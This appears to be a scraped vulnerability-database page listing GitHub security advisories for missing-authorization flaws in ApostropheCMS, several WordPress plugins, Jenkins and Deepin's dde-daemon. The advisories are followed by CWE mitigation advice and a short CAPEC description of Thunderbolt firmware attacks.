"url": "https://github.com/apostrophecms/apostrophe"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: Missing destination-parent authorization in page `move()` allows a low-privileged editor to move and re-rank pages inside a restricted subtree"
}
GHSA-WR6H-564J-W633
Vulnerability from github – Published: 2025-08-02 12:30 – Updated: 2025-08-02 12:30The Ultimate Addons for Elementor (Formerly Elementor Header & Footer Builder) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_hfe_compatibility_option_callback ()function in all versions up to, and including, 2.4.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the compatibility option setting.
{
"affected": [],
"aliases": [
"CVE-2025-8488"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-02T10:15:27Z",
"severity": "MODERATE"
},
"details": "The Ultimate Addons for Elementor (Formerly Elementor Header \u0026 Footer Builder) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the save_hfe_compatibility_option_callback ()function in all versions up to, and including, 2.4.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the compatibility option setting.",
"id": "GHSA-wr6h-564j-w633",
"modified": "2025-08-02T12:30:31Z",
"published": "2025-08-02T12:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8488"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/2.4.6/admin/class-hfe-addons-actions.php#L494"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/header-footer-elementor/tags/2.4.7/admin/class-hfe-addons-actions.php#L525"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a4b847b5-9deb-41c4-b976-725249e0098e?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WR6W-JXG7-QPFH
Vulnerability from github – Published: 2025-04-02 15:31 – Updated: 2025-04-02 22:38Jenkins 2.503 and earlier, LTS 2.492.2 and earlier does not perform a permission check in an HTTP endpoint.
This allows attackers with Computer/Create permission but without Computer/Configure permission to copy an agent, gaining access to encrypted secrets in its configuration.
This is due to an incomplete fix of SECURITY-3495/CVE-2025-27622.
Jenkins 2.504, LTS 2.492.3 requires Computer/Configure permission to copy an agent containing secrets.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.500"
},
{
"fixed": "2.504"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.main:jenkins-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.492.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31721"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T22:38:27Z",
"nvd_published_at": "2025-04-02T15:15:59Z",
"severity": "MODERATE"
},
"details": "Jenkins 2.503 and earlier, LTS 2.492.2 and earlier does not perform a permission check in an HTTP endpoint.\n\nThis allows attackers with Computer/Create permission but without Computer/Configure permission to copy an agent, gaining access to encrypted secrets in its configuration.\n\nThis is due to an incomplete fix of [SECURITY-3495](https://www.jenkins.io/security/advisory/2025-03-05/#SECURITY-3495)/CVE-2025-27622.\n\nJenkins 2.504, LTS 2.492.3 requires Computer/Configure permission to copy an agent containing secrets.",
"id": "GHSA-wr6w-jxg7-qpfh",
"modified": "2025-04-02T22:38:27Z",
"published": "2025-04-02T15:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31721"
},
{
"type": "WEB",
"url": "https://github.com/jenkinsci/jenkins/commit/b3651b475302e8dba20fc63c1ff89d144ec652f0"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2025-04-02/#SECURITY-3513"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Missing Permission Check"
}
GHSA-WR73-3CX2-482Q
Vulnerability from github – Published: 2024-12-09 15:31 – Updated: 2026-04-28 21:35Missing Authorization vulnerability in Cadus Pro Fontiran allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fontiran: from n/a through 2.1.
{
"affected": [],
"aliases": [
"CVE-2023-25791"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T13:15:24Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Cadus Pro Fontiran allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fontiran: from n/a through 2.1.",
"id": "GHSA-wr73-3cx2-482q",
"modified": "2026-04-28T21:35:16Z",
"published": "2024-12-09T15:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25791"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/fontiran/vulnerability/wordpress-fontiran-plugin-2-1-broken-access-control?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-WRCC-CF36-C4MJ
Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2022-05-13 01:47dde-daemon, the daemon process of DDE (Deepin Desktop Environment) 15.0 through 15.3, runs with root privileges and hardly does anything to identify the user who calls the function through D-Bus. Anybody can change the grub config, even to append some arguments to make a backdoor or privilege escalation, by calling DoWriteGrubSettings() provided by dde-daemon.
{
"affected": [],
"aliases": [
"CVE-2017-7622"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-10T17:59:00Z",
"severity": "HIGH"
},
"details": "dde-daemon, the daemon process of DDE (Deepin Desktop Environment) 15.0 through 15.3, runs with root privileges and hardly does anything to identify the user who calls the function through D-Bus. Anybody can change the grub config, even to append some arguments to make a backdoor or privilege escalation, by calling DoWriteGrubSettings() provided by dde-daemon.",
"id": "GHSA-wrcc-cf36-c4mj",
"modified": "2022-05-13T01:47:02Z",
"published": "2022-05-13T01:47:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7622"
},
{
"type": "WEB",
"url": "https://github.com/kings-way/deepinhack/blob/master/dde_daemon_poc.py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WRG2-4JVF-J5J6
Vulnerability from github – Published: 2025-06-26 21:31 – Updated: 2025-06-26 21:31The Amazon Products to WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wcta2w_get_amazon_product_callback() function in all versions up to, and including, 1.2.7. This makes it possible for unauthenticated attackers to create new produces.
{
"affected": [],
"aliases": [
"CVE-2025-5813"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-26T03:15:24Z",
"severity": "MODERATE"
},
"details": "The Amazon Products to WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wcta2w_get_amazon_product_callback() function in all versions up to, and including, 1.2.7. This makes it possible for unauthenticated attackers to create new produces.",
"id": "GHSA-wrg2-4jvf-j5j6",
"modified": "2025-06-26T21:31:16Z",
"published": "2025-06-26T21:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5813"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/import-products-to-wc/trunk/inc/functions.php#L266"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a0906540-46fc-4f76-9265-cb87c6340fad?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRGR-V88R-75JX
Vulnerability from github – Published: 2024-02-29 09:30 – Updated: 2026-04-08 18:32The Migration, Backup, Staging – WPvivid plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the get_restore_progress() and restore() functions in all versions up to, and including, 0.9.68. This makes it possible for unauthenticated attackers to exploit a SQL injection vulnerability or trigger a DoS.
{
"affected": [],
"aliases": [
"CVE-2024-1982"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-29T07:15:07Z",
"severity": "MODERATE"
},
"details": "The Migration, Backup, Staging \u2013 WPvivid plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the get_restore_progress() and restore() functions in all versions up to, and including, 0.9.68. This makes it possible for unauthenticated attackers to exploit a SQL injection vulnerability or trigger a DoS.",
"id": "GHSA-wrgr-v88r-75jx",
"modified": "2026-04-08T18:32:41Z",
"published": "2024-02-29T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1982"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fwpvivid-backuprestore%2Ftrunk\u0026old=2667839\u0026new_path=%2Fwpvivid-backuprestore%2Ftrunk\u0026new=2667839"
},
{
"type": "WEB",
"url": "https://research.hisolutions.com/2024/01/multiple-vulnerabilities-in-wordpress-plugin-wpvivid-backup-and-migration"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4f17976e-d6b9-40fb-b2fb-d60bcfd68d12?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.